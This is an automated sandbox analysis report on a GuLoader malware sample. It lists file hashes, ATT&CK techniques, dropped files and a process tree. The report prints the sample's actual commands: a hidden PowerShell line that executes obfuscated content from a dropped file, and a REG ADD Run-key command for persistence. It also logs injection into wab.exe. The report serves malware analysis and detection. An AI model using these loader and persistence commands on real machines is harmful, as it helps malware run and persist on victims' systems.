guloader | 43319fa796c6b542426e4e853a26a12d9a1cd49687878484a5bae88d246600cb

General

Target

43319fa796c6b542426e4e853a26a12d9a1cd49687878484a5bae88d246600cb.exe
Size

383KB
MD5

23e67f856583bc4edbab6d66fb5d3519
SHA1

335d696e7448570c632dc0b6f3aadfe69262d2ef
SHA256

43319fa796c6b542426e4e853a26a12d9a1cd49687878484a5bae88d246600cb
SHA512

893f81e5c0a8e64b4a2ab2edee73b7867255154191cd73ca9faddfc3c7c68454689dc3b297c7cf3bb51f14f3910fb9c0ff6f1ce5f1139961a8153e54c9868ffc
SSDEEP

6144:HT4DtVpZI3UNWc3n5C3Tsc8XANjZ8S+ztjsNtsZ7X9/wkm8mKuUE2OCQpPAvFeVY:HTgYEztxwquUfNQZAvsl9pSTlDt

Score

10^/10

guloader downloader persistence

Malware Config

Signatures

Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
downloader guloader

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

reg.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Windows\CurrentVersion\Run\Startup key = "%Flerbrugerudgave% -windowstyle minimized $remontering=(Get-ItemProperty -Path 'HKCU:\\Forklaringsmodellen\\').Jeanna228;%Flerbrugerudgave% ($remontering)"	reg.exe

Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs

Processes:

wab.exe

pid process

2536 wab.exe
2536 wab.exe
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

Processes:

powershell.exewab.exe

pid process

2180 powershell.exe
2536 wab.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 2180 set thread context of 2536 2180 powershell.exe wab.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Modifies registry key 1 TTPs 1 IoCs

Modify Registry
T1112

Processes:

reg.exe

pid process

2952 reg.exe

pid	process
2536	wab.exe
2536	wab.exe

description	pid	process	target process
PID 2180 set thread context of 2536	2180	powershell.exe	wab.exe

pid	process
2952	reg.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

Processes:

powershell.exe

pid	process
2180	powershell.exe
2180	powershell.exe
2180	powershell.exe
2180	powershell.exe
2180	powershell.exe
2180	powershell.exe
2180	powershell.exe
2180	powershell.exe

Suspicious behavior: MapViewOfSection 1 IoCs

Processes:

powershell.exe

pid process

2180 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2180 powershell.exe

description	pid	process
Token: SeDebugPrivilege	2180	powershell.exe

Suspicious use of WriteProcessMemory 22 IoCs

Processes:

43319fa796c6b542426e4e853a26a12d9a1cd49687878484a5bae88d246600cb.exepowershell.exewab.execmd.exe

description	pid	process	target process
PID 1676 wrote to memory of 2180	1676	43319fa796c6b542426e4e853a26a12d9a1cd49687878484a5bae88d246600cb.exe	powershell.exe
PID 1676 wrote to memory of 2180	1676	43319fa796c6b542426e4e853a26a12d9a1cd49687878484a5bae88d246600cb.exe	powershell.exe
PID 1676 wrote to memory of 2180	1676	43319fa796c6b542426e4e853a26a12d9a1cd49687878484a5bae88d246600cb.exe	powershell.exe
PID 1676 wrote to memory of 2180	1676	43319fa796c6b542426e4e853a26a12d9a1cd49687878484a5bae88d246600cb.exe	powershell.exe
PID 2180 wrote to memory of 2872	2180	powershell.exe	cmd.exe
PID 2180 wrote to memory of 2872	2180	powershell.exe	cmd.exe
PID 2180 wrote to memory of 2872	2180	powershell.exe	cmd.exe
PID 2180 wrote to memory of 2872	2180	powershell.exe	cmd.exe
PID 2180 wrote to memory of 2536	2180	powershell.exe	wab.exe
PID 2180 wrote to memory of 2536	2180	powershell.exe	wab.exe
PID 2180 wrote to memory of 2536	2180	powershell.exe	wab.exe
PID 2180 wrote to memory of 2536	2180	powershell.exe	wab.exe
PID 2180 wrote to memory of 2536	2180	powershell.exe	wab.exe
PID 2180 wrote to memory of 2536	2180	powershell.exe	wab.exe
PID 2536 wrote to memory of 2484	2536	wab.exe	cmd.exe
PID 2536 wrote to memory of 2484	2536	wab.exe	cmd.exe
PID 2536 wrote to memory of 2484	2536	wab.exe	cmd.exe
PID 2536 wrote to memory of 2484	2536	wab.exe	cmd.exe
PID 2484 wrote to memory of 2952	2484	cmd.exe	reg.exe
PID 2484 wrote to memory of 2952	2484	cmd.exe	reg.exe
PID 2484 wrote to memory of 2952	2484	cmd.exe	reg.exe
PID 2484 wrote to memory of 2952	2484	cmd.exe	reg.exe

C:\Users\Admin\AppData\Local\Temp\43319fa796c6b542426e4e853a26a12d9a1cd49687878484a5bae88d246600cb.exe
"C:\Users\Admin\AppData\Local\Temp\43319fa796c6b542426e4e853a26a12d9a1cd49687878484a5bae88d246600cb.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1676

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" -windowstyle hidden "$Deserting=Get-Content 'C:\Users\Admin\AppData\Local\tjurhane\fasciolidae\stinksvampen\jebliksbilledes\Unrelative\Sikkativers\Regredieredes\Fastkurspolitikken.Vol';$teksthjden=$Deserting.SubString(61567,3);.$teksthjden($Deserting)"
2⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2180

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" "/c set /A 1^^0"
3⤵
PID:2872

C:\Program Files (x86)\windows mail\wab.exe
"C:\Program Files (x86)\windows mail\wab.exe"
3⤵
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of WriteProcessMemory
PID:2536

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Startup key" /t REG_EXPAND_SZ /d "%Flerbrugerudgave% -windowstyle minimized $remontering=(Get-ItemProperty -Path 'HKCU:\Forklaringsmodellen\').Jeanna228;%Flerbrugerudgave% ($remontering)"
4⤵
- Suspicious use of WriteProcessMemory
PID:2484

C:\Windows\SysWOW64\reg.exe
REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Startup key" /t REG_EXPAND_SZ /d "%Flerbrugerudgave% -windowstyle minimized $remontering=(Get-ItemProperty -Path 'HKCU:\Forklaringsmodellen\').Jeanna228;%Flerbrugerudgave% ($remontering)"
5⤵
- Adds Run key to start application
- Modifies registry key
PID:2952

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Defense Evasion

Modify Registry

2

T1112

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015
Filesize
68KB

MD5
29f65ba8e88c063813cc50a4ea544e93

SHA1
05a7040d5c127e68c25d81cc51271ffb8bef3568

SHA256
1ed81fa8dfb6999a9fedc6e779138ffd99568992e22d300acd181a6d2c8de184

SHA512
e29b2e92c496245bed3372578074407e8ef8882906ce10c35b3c8deebfefe01b5fd7f3030acaa693e175f4b7aca6cd7d8d10ae1c731b09c5fa19035e005de3aa

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
Filesize
344B

MD5
6b06a9a9e4670318de8f0ce5a705cd1b

SHA1
6bc6c83748344e3e43129156d7db55ed6ff6de00

SHA256
a175d60dea93444a5248f54acdf58acfa856df23b699e5f2289199d35d99d747

SHA512
2a5ae893ecb486e05d6edd129d49d2960d041dc52eb0fed2fa2b459404a964c60b5690156b5b256e224c1db47ae3c37c2cea321043c246a64fecffe5758c5b6e

Download Submit
C:\Users\Admin\AppData\Local\Temp\Cab9FBB.tmp
Filesize
65KB

MD5
ac05d27423a85adc1622c714f2cb6184

SHA1
b0fe2b1abddb97837ea0195be70ab2ff14d43198

SHA256
c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d

SHA512
6d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d

Download Submit
C:\Users\Admin\AppData\Local\Temp\TarA0CB.tmp
Filesize
177KB

MD5
435a9ac180383f9fa094131b173a2f7b

SHA1
76944ea657a9db94f9a4bef38f88c46ed4166983

SHA256
67dc37ed50b8e63272b49a254a6039ee225974f1d767bb83eb1fd80e759a7c34

SHA512
1a6b277611959720a9c71114957620517ad94541302f164eb872bd322292a952409bafb8bc2ac793b16ad5f25d83f8594ccff2b7834e3c2b2b941e6fc84c009a

Download Submit
C:\Users\Admin\AppData\Local\tjurhane\fasciolidae\stinksvampen\Venstremnd\Kontraktforhandling\Bosnian48\Oprindelsers\Jernindustriers16.War
Filesize
317KB

MD5
28f1c6b709a58427fc3ee47df638ed75

SHA1
bf77edc7db52ff80241230e47dddc8273d3fe645

SHA256
d91eed61446e903f869aef5a8cbb79838fb433c35a1395c7b4d73589cc9cb5ba

SHA512
d193d9053b9ab401a56e2c939e98c2ad6fa55dede94ca4a61e8fc71c5427b4c8ca29964efed314676b1ff578d5b1a6328944816dfd01164deb3d1405ce44add4

Download Submit
C:\Users\Admin\AppData\Local\tjurhane\fasciolidae\stinksvampen\jebliksbilledes\Unrelative\Sikkativers\Regredieredes\Fastkurspolitikken.Vol
Filesize
60KB

MD5
2a4c059165f67c3923409c13eb335f08

SHA1
327454ea9cef3b257a7a154bc75aa1dac1dc77d1

SHA256
f383eb80238916fd6c00c1513464f841fefb622aad04f345f4bc69f8a24aa8b1

SHA512
d1d1898f852d9fb3af766fea3e06ffefad91af0bc4d5652716103f6f2151118b5129d8c9707fcaf14d3e16654f7148163b80ec03a3e2a4bbb036575666392560

Download Submit
memory/2180-10-0x0000000002870000-0x00000000028B0000-memory.dmp

Filesize
256KB

Download
memory/2180-14-0x0000000006840000-0x000000000C2D9000-memory.dmp

Filesize
90.6MB

Download
memory/2180-15-0x0000000073A60000-0x000000007400B000-memory.dmp

Filesize
5.7MB

Download
memory/2180-16-0x0000000002870000-0x00000000028B0000-memory.dmp

Filesize
256KB

Download
memory/2180-6-0x0000000073A60000-0x000000007400B000-memory.dmp

Filesize
5.7MB

Download
memory/2180-8-0x0000000073A60000-0x000000007400B000-memory.dmp

Filesize
5.7MB

Download
memory/2180-9-0x0000000002870000-0x00000000028B0000-memory.dmp

Filesize
256KB

Download
memory/2180-7-0x0000000002870000-0x00000000028B0000-memory.dmp

Filesize
256KB

Download
memory/2536-101-0x0000000000F40000-0x0000000001FA2000-memory.dmp

Filesize
16.4MB

Download
memory/2536-102-0x0000000001FB0000-0x0000000007A49000-memory.dmp

Filesize
90.6MB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v13

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Downloads